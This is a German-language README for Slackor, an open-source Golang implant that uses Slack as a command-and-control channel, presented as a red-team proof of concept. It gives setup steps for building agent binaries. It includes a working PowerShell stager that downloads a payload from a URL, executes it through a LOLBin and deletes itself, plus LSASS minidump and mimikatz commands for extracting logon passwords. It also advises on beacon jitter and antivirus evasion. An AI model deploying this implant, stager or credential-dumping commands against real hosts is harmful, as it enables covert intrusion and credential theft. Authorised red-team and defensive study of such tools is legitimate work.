
Ein Golang-Implantat, das Slack als Command-and-Control-Server verwendet.
Gepflegt unter https://github.com/n00py/Slackor
Ein Golang-Implant, das Slack als Command-and-Control-Kanal nutzt.
Dieses Projekt wurde inspiriert von Gcat und Twittor.
Dieses Tool wird als Proof of Concept veröffentlicht. Lesen und verstehen Sie unbedingt die Slack App Developer Policy, bevor Sie Slack-Apps erstellen.
Hinweis: Der Server ist in Python 3 geschrieben
Damit dies funktioniert, benötigen Sie:
Einen Slack-Workspace
Registrieren Sie eine App mit den folgenden Berechtigungen:
Erstellen Sie einen Bot
Dieses Repo enthält fünf Dateien:
install.sh Installiert Abhängigkeitensetup.py Das Skript zum Erstellen der Slack-Kanäle, Datenbank und Implantsagent.py Skript zum Generieren neuer Implantsserver.py Der Slackor-Server, entwickelt für den Betrieb unter Linuxagent.go Das Golang-Implantrequirements.txt Python-Abhängigkeiten (werden automatisch installiert)Um loszulegen:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.sh aussetup.py aus
Nach erfolgreichem Ausführen des Skripts werden im Verzeichnis dist/ mehrere Dateien erstellt:
agent.windows.exe: Windows 64-Bit-Binärdateiagent.upx.exe: Windows 64-Bit-Binärdatei, UPX-gepacktagent.darwin: macOS 64-Bit-Binärdateiagent.32.linux: Linux 32-Bit-Binärdateiagent.64.linux: Linux 64-Bit-BinärdateiNach dem Start von server.py auf einem Linux-Host führen Sie das für Ihren Zielhost passende Agent aus.
Führen Sie das Modul "stager" aus, um einen One-Liner und andere Dropper zu generieren.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Dies führt InvokeWebRequest (PS v.3+) aus, um die Payload herunterzuladen, sie mit einem LOLBin auszuführen und sich nach dem Beenden selbst zu löschen. Dies ist ein funktionierendes Beispiel, der Befehl kann jedoch angepasst werden, um eine andere Download- oder Ausführungsmethode zu verwenden.
Geben Sie "help" ein oder drücken Sie [TAB], um eine Liste der verfügbaren Befehle zu sehen. Geben Sie "help [BEFEHL]" ein, um eine Beschreibung des Befehls zu erhalten.
(Slackor)
Sobald ein Agent eingecheckt hat, können Sie mit ihm interagieren. Verwenden Sie "interact [AGENT]", um in eine Agent-Eingabeaufforderung zu gelangen. Geben Sie "help" ein oder drücken Sie [TAB], um eine Liste der verfügbaren Befehle zu sehen.
(Slackor:AGENT)
Befehlsausgaben und heruntergeladene Dateien sind zusätzlich zu Slacks TLS-Transportverschlüsselung AES-verschlüsselt.
Module warnen Sie, bevor sie Aufgaben ausführen, die auf die Festplatte schreiben.
Beim Ausführen von Shell-Befehlen beachten Sie, dass cmd.exe/bash ausgeführt werden. Dies könnte auf dem Host überwacht werden.
Hier sind mehrere OPSEC-sichere Befehle, die kein cmd.exe/bash ausführen:
Ist dies sicher für den Einsatz in Red Teams / Penetrationstests?
Ja, unter bestimmten Bedingungen. Während die Daten während der Übertragung verschlüsselt sind, enthält der Agent den Schlüssel zur Entschlüsselung. Jeder, der eine Kopie des Agents erhält, könnte es rückentwickeln und die API-Schlüssel sowie den AES-Geheimschlüssel extrahieren. Jeder, der den Workspace kompromittiert oder anderweitig Zugriff darauf erhält, könnte alle darin enthaltenen Daten abrufen. Aus diesem Grund wird nicht empfohlen, dieselbe Infrastruktur für mehrere Organisationen wiederzuverwenden.
Was ist mit Mimikatz?
Das Implant hat keine integrierte Funktion zum Auslesen von Passwörtern im Speicher. Wenn Sie logonPasswords benötigen, können Sie Folgendes versuchen:
(Slackor: AGENT)minidump
Dadurch werden automatisch Passwörter mit Pypykatz extrahiert. Alternativ können Sie Mimikatz unter Windows verwenden.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
Ist es plattformübergreifend?
Es hat eingeschränkte plattformübergreifende Unterstützung. Es wurde nicht vollständig auf allen Systemen getestet, auf denen es ausgeführt werden kann. Der Server wurde für Kali Linux entwickelt. Der Agent wird für Windows, Mac und Linux kompiliert, wurde aber hauptsächlich unter Windows 10 getestet. Agents könnten Befehle falsch verarbeiten, die von der Plattform des Agents nicht unterstützt werden (versuchen Sie nicht, einen Mac zu minidumpen).
Wie gut skaliert es?
Die Skalierbarkeit ist durch die Slack-API begrenzt. Wenn Sie mehrere Agents haben, ziehen Sie in Betracht, das Beacon-Intervall von nicht verwendeten Beacons zu erhöhen.
Ist es anfällig für Standard-Beacon-Analyse?
Derzeit hat jedes Beacon einen eingebauten Jitter von 20%, und die Beacon-Zeiten können angepasst werden. Die Check-in-Anfrage- und Antwortpakete des Agents werden etwa gleich groß sein, solange keine neuen Befehle empfangen werden.
Warum haben Sie [x] gemacht, obwohl es einen besseren Weg [y] gibt?
Ich habe mein Bestes gegeben. Pull Requests sind willkommen :)
Es wird von AV erkannt!
Da dies jetzt Open Source ist, wird es zwangsläufig Probleme geben. Ich werde Module nach Möglichkeit reparieren, aber es gibt keine Garantie, dass dies jederzeit alle AV umgeht.